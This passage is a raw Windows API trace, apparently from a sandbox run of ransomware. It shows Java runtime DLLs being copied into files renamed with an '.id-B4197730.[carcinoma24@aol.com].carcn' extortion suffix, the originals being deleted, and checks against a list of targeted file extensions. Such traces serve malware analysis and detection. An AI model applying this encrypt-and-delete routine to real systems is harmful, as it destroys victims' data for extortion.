[0299.794] lstrlenW (lpString="fxplugins.dll") returned 13 [0299.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.794] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=186944) returned 1 [0299.794] CloseHandle (hObject=0x398) returned 1 [0299.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0299.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.794] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.795] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0299.795] GetLastError () returned 0x0 [0299.795] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x2da40, lpOverlapped=0x0) returned 1 [0299.821] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x2da50, lpOverlapped=0x0) returned 1 [0299.824] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.824] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xee, lpOverlapped=0x0) returned 1 [0299.825] SetEndOfFile (hFile=0x384) returned 1 [0299.825] CloseHandle (hObject=0x384) returned 1 [0299.825] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.825] SetEndOfFile (hFile=0x398) returned 1 [0299.827] CloseHandle (hObject=0x398) returned 1 [0299.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.827] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0299.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.828] lstrlenW (lpString=".doc") returned 4 [0299.828] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString=".docx") returned 5 [0299.828] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.828] lstrlenW (lpString=".pdf") returned 4 [0299.828] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString=".xls") returned 4 [0299.828] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString=".xlsx") returned 5 [0299.828] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.828] lstrlenW (lpString=".ppt") returned 4 [0299.828] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.828] lstrlenW (lpString=".zip") returned 4 [0299.828] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString=".rar") returned 4 [0299.828] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.828] lstrlenW (lpString=".bz2") returned 4 [0299.828] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.828] lstrlenW (lpString=".7z") returned 3 [0299.828] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.828] lstrlenW (lpString=".dbf") returned 4 [0299.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.828] lstrlenW (lpString=".1cd") returned 4 [0299.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.829] lstrlenW (lpString=".jpg") returned 4 [0299.829] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.829] lstrlenW (lpString=".doc") returned 4 [0299.829] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString=".docx") returned 5 [0299.829] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.829] lstrlenW (lpString=".pdf") returned 4 [0299.829] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString=".xls") returned 4 [0299.829] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString=".xlsx") returned 5 [0299.829] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.829] lstrlenW (lpString=".ppt") returned 4 [0299.829] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.829] lstrlenW (lpString=".zip") returned 4 [0299.829] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString=".rar") returned 4 [0299.829] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.829] lstrlenW (lpString=".bz2") returned 4 [0299.829] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.829] lstrlenW (lpString=".7z") returned 3 [0299.829] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.829] lstrlenW (lpString=".dbf") returned 4 [0299.829] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.830] lstrlenW (lpString=".1cd") returned 4 [0299.830] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0299.830] lstrlenW (lpString=".jpg") returned 4 [0299.830] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.830] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.830] lstrlenW (lpString="glib-lite.dll") returned 13 [0299.830] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.831] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=455744) returned 1 [0299.831] CloseHandle (hObject=0x398) returned 1 [0299.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0299.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.831] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.831] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0299.832] GetLastError () returned 0x0 [0299.832] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x6f440, lpOverlapped=0x0) returned 1 [0299.922] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x6f450, lpOverlapped=0x0) returned 1 [0299.931] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.931] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xee, lpOverlapped=0x0) returned 1 [0299.931] SetEndOfFile (hFile=0x384) returned 1 [0299.931] CloseHandle (hObject=0x384) returned 1 [0299.931] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.931] SetEndOfFile (hFile=0x398) returned 1 [0299.936] CloseHandle (hObject=0x398) returned 1 [0299.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.936] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0299.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.936] lstrlenW (lpString=".doc") returned 4 [0299.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.936] lstrlenW (lpString=".docx") returned 5 [0299.937] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0299.937] lstrlenW (lpString=".pdf") returned 4 [0299.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".xls") returned 4 [0299.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".xlsx") returned 5 [0299.937] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0299.937] lstrlenW (lpString=".ppt") returned 4 [0299.937] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.937] lstrlenW (lpString=".zip") returned 4 [0299.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".rar") returned 4 [0299.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString=".bz2") returned 4 [0299.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.937] lstrlenW (lpString=".7z") returned 3 [0299.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.937] lstrlenW (lpString=".dbf") returned 4 [0299.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.937] lstrlenW (lpString=".1cd") returned 4 [0299.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.937] lstrlenW (lpString=".jpg") returned 4 [0299.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.938] lstrlenW (lpString=".doc") returned 4 [0299.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".docx") returned 5 [0299.938] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0299.938] lstrlenW (lpString=".pdf") returned 4 [0299.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".xls") returned 4 [0299.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".xlsx") returned 5 [0299.938] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0299.938] lstrlenW (lpString=".ppt") returned 4 [0299.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.938] lstrlenW (lpString=".zip") returned 4 [0299.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".rar") returned 4 [0299.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.938] lstrlenW (lpString=".bz2") returned 4 [0299.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString=".7z") returned 3 [0299.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.938] lstrlenW (lpString=".dbf") returned 4 [0299.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.938] lstrlenW (lpString=".1cd") returned 4 [0299.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0299.938] lstrlenW (lpString=".jpg") returned 4 [0299.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.939] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.939] lstrlenW (lpString="hprof.dll") returned 9 [0299.939] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.939] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=158272) returned 1 [0299.939] CloseHandle (hObject=0x398) returned 1 [0299.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0299.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.940] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.940] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.940] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.940] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0299.941] GetLastError () returned 0x0 [0299.941] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x26a40, lpOverlapped=0x0) returned 1 [0299.979] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x26a50, lpOverlapped=0x0) returned 1 [0299.982] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.982] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0299.983] SetEndOfFile (hFile=0x384) returned 1 [0299.983] CloseHandle (hObject=0x384) returned 1 [0299.983] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.983] SetEndOfFile (hFile=0x398) returned 1 [0299.985] CloseHandle (hObject=0x398) returned 1 [0299.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.985] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0299.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.986] lstrlenW (lpString=".doc") returned 4 [0299.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString=".docx") returned 5 [0299.986] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0299.986] lstrlenW (lpString=".pdf") returned 4 [0299.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString=".xls") returned 4 [0299.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString=".xlsx") returned 5 [0299.986] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0299.986] lstrlenW (lpString=".ppt") returned 4 [0299.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.986] lstrlenW (lpString=".zip") returned 4 [0299.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString=".rar") returned 4 [0299.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.986] lstrlenW (lpString=".bz2") returned 4 [0299.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.986] lstrlenW (lpString=".7z") returned 3 [0299.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.986] lstrlenW (lpString=".dbf") returned 4 [0299.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.987] lstrlenW (lpString=".1cd") returned 4 [0299.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.987] lstrlenW (lpString=".jpg") returned 4 [0299.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.987] lstrlenW (lpString=".doc") returned 4 [0299.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString=".docx") returned 5 [0299.987] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0299.987] lstrlenW (lpString=".pdf") returned 4 [0299.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString=".xls") returned 4 [0299.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString=".xlsx") returned 5 [0299.987] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0299.987] lstrlenW (lpString=".ppt") returned 4 [0299.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.987] lstrlenW (lpString=".zip") returned 4 [0299.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString=".rar") returned 4 [0299.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.987] lstrlenW (lpString=".bz2") returned 4 [0299.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.987] lstrlenW (lpString=".7z") returned 3 [0299.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.988] lstrlenW (lpString=".dbf") returned 4 [0299.988] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.988] lstrlenW (lpString=".1cd") returned 4 [0299.988] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0299.988] lstrlenW (lpString=".jpg") returned 4 [0299.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.988] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.988] lstrlenW (lpString="instrument.dll") returned 14 [0299.988] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.989] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=123456) returned 1 [0299.989] CloseHandle (hObject=0x398) returned 1 [0299.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0299.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.989] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.989] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program 